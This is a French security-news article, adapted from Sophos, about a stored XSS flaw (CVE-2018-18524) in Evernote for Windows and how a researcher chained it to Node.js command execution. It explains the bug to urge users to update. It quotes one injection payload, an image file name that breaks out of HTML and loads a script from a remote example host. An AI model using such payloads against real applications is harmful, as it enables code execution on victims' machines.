vulnerabilite xss
Produits et Services PRODUITS & SERVICES

Une vulnérabilité XSS sérieuse découverte dans Evernote pour Windows, mettez à jour maintenant!

Evernote, l’entreprise spécialisée dans la prise de note en ligne a corrigé une vulnérabilité XSS (cross-site scripting) qui aurait permis à des cybercriminels d'infecter les notes partagées via son service.

Evernote, l’entreprise spécialisée dans la prise et le partage de note en ligne a corrigé une faille de sécurité qui aurais permis à des cybercriminels d’infecter les notes partagées via son service. La vulnérabilité (CVE-2018-18524) aurait pu permettre à un attaquant d’exécuter des programmes à distance sur l’ordinateur de la victime en partageant simplement une note avec elle et en la persuadant de la visualiser.

Evernote a corrigé la vulnérabilité dans la version 6.16.1 bêta d’Evernote pour Windows.

La vulnérabilité, découverte par TongQing Zhu, chercheur dans entreprise chinoise de cybersécurité Knownsec, était une forme de vulnérabilité XSS (cross-site scripting). Les attaques XSS permettent aux cybercriminels d’injecter du code malveillant dans des sites web. Elles se présentent sous deux formes :

La première est en phase avec la vision classique que nous avons du XSS, appelée “XSS réfléchie”. “XSS réfléchie” fonctionne en contaminant les liens vers des sites web légitimes avec du code exécutable malveillant. Lorsque la victime clique sur le lien, le site web vulnérable traite les informations de lien comme d’habitude, afin de déterminer la page à vous transmettre et exécute donc par inadvertance le code malveillant en même temps.

Pour que cela fonctionne, l’attaquant doit vous persuader de cliquer sur le lien qu’il vous a fourni, soit en vous l’envoyant par email, soit en l’ajoutant au niveau d’un autre site web ou sur les réseaux sociaux.

Le deuxième type d’exploit XSS, que Zhu a trouvé dans Evernote, est appelé XSS stocké ou persistant. Au lieu de contaminer un lien malveillant en espérant que vous cliquiez dessus, l’attaquant incorpore son code malveillant directement dans le site web.

Pour y parvenir, il doit généralement trouver sur un emplacement particulier au niveau d’un site web qui contient des données fournies par l’utilisateur, tel qu’un formulaire de commentaire, dans lequel il injecte le code. Quiconque atterrit sur la page, après l’action malveillante du cybercriminel, déclenchera l’exécution automatique du code que ce dernier aura laissé derrière lui.

Étant donné que de nombreuses applications de bureau et mobiles natives utilisent des moteurs de navigateur pour afficher des informations, les attaques XSS peuvent également les affecter, et c’est ce qui s’est passé ici.

Dans ce cas, un autre expert en sécurité a trouvé une vulnérabilité XSS dans une version antérieure d’Evernote qui permettait aux attaquants de lancer des commandes JavaScript directement dans les notes stockées du programme.

Comme pour toutes les attaques de type cross-site scripting, la vulnérabilité XSS est due à une validation des données insuffisante : les entrées qui auraient dû être traitées comme des données étaient en réalité traitées comme du code. Comme les caractères <, > et " n’avaient pas été supprimés ou effacés dans les noms de fichiers des images incorporées dans les notes, les attaquants pouvaient alors exploiter des notes Evernote en incorporant du code dans les noms de fichiers, comme suit :

"><script src="http://example.org/bad-javascript.js">.jpg

Lorsque la note était ouverte, le code était exécuté. L’exemple ci-dessus pourrait alors récupérer davantage de code malveillant à partir d’un emplacement distant.

Evernote ne souhaite certainement pas qu’une note fasse cela, mais Zhu a poussé l’expérimentation encore plus loin.

Il a cherché dans les dossiers d’installation d’Evernote et a trouvé NodeWebKit, un environnement d’application basé sur le navigateur open source Chromium et le framework JavaScript Node.js. Evernote utilise ce runtime dans son mode de présentation.

Après quelques essais et erreurs avec différentes commandes, il a pu utiliser Node.js pour exécuter des commandes système et lire des fichiers système. S’il pouvait insérer un script Node.js dans une note en mode présentation, il pensait alors qu’il pourrait faire exécuter le moteur d’exécution NodeWebKit sur la machine de la victime.

Pour livrer le script au runtime, il a exploité la faille de validation dans les notes d’Evernote en renommant un fichier et en incluant une référence à son fichier Node.js.

Zhu a pu ainsi transmettre la note infectée assez simplement via la fonction de discussion en ligne d’Evernote, qui permet à différents utilisateurs d’Evernote de dialoguer électroniquement. Il a inclut une instruction pour afficher la note en mode présentation. Si l’utilisateur mordait à l’hameçon, NodeWebKit aurait exécuté automatiquement le script en question.

Il a conclu sa démonstration en affichant le contenu de Win.ini et en ouvrant la calculatrice Windows lors de l’affichage d’une note infectée dans un compte test.

Grâce à ses efforts, les utilisateurs d’Evernote sont aujourd’hui un peu plus en sécurité (à condition de télécharger et d’installer la mise à jour) et Zhu a été intégré au fameux Hall of Fame d’Evernote.


Billet inspiré de Serious XSS flaw discovered in Evernote for Windows, update now!, sur Sophos nakedsecurity.